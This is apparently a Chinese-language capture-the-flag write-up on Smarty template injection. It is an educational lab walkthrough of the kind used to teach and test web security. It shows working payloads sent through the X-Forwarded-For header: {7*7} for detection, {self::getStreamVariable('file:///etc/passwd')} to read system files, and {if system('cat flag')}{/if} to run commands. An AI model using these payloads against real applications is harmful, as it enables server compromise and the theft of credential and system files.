smarty模板漏洞
打开主页,我们观察了各页面的内容,其中Your ip:让我们产生怀疑,会不会是SSTI漏洞,我们抓取一个包,然后构造X-Forwarded-For或client-ip这两个字段
1 | X-Foewarded-For: {7*7} |
发现Your ip:会显示49,证明存在SSTI,而读取XFF和client-ip的api有些是使用smart引擎写的,因此我们可以猜测是smart模板漏洞,而常见是flask模板漏洞
而smarty模板是基于PHP开发的,与flask模板有比较大的区别,我们可以使用
1 | {$smarty.version} |
来确定smarty模板的版本
常见的利用方法
{php}{/php}
smarty模板支持使用的{php}{/php}标签来执行被包裹的php指令,但在smart3版本中已经废弃了{php}{/php}标签,但是在smarty3.1中的smartyBC中仍然可以使用
{literal}
{literal}可以让一个模板区域的字符原样输出,这经常保护页面上的javascript或css样本表,避免因为smarty的定界符错被解析
对于php5的话,可以使用
1 | <script language="php"> phpinfo();</script> |
来实现php代码的执行
静态方法
通过self来获取smarty类的静态方法来实现文件读写
smarty类中的getStreamVariable方法的代码:
1 | public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } } |
getStreamVariable()方法是读取一个文件并返回其内容,所以我们可以用self来获取smarty类对象并调用这个方法
1 | {self::getStreamVariable("file:///etc/passwd")} |
但这是旧版本的smarty模板的利用方法,新版本不能用,而smarty3.1.30版本开始,这个方法已经被删除,而Smarty_Internal_File类中的writeFile方法来写shell也已经被高版本删除
{if}
smarty模板的{if}标签和php的if很像,只是增加了一些特性,每个{if}要配备一个{/if},也可以匹配{else}和{elseif},全部的php条件表达式和函数都可以在if内使用,如or,and等
1 | {if phpinfo()}{/if} |
即可显示php版本
回到题目本身,我可以在bp抓的包中构造XFF或client-ip来获取flag或想要的信息
1 | X-Forwarded-For: {if system("cat flag")}{/if} |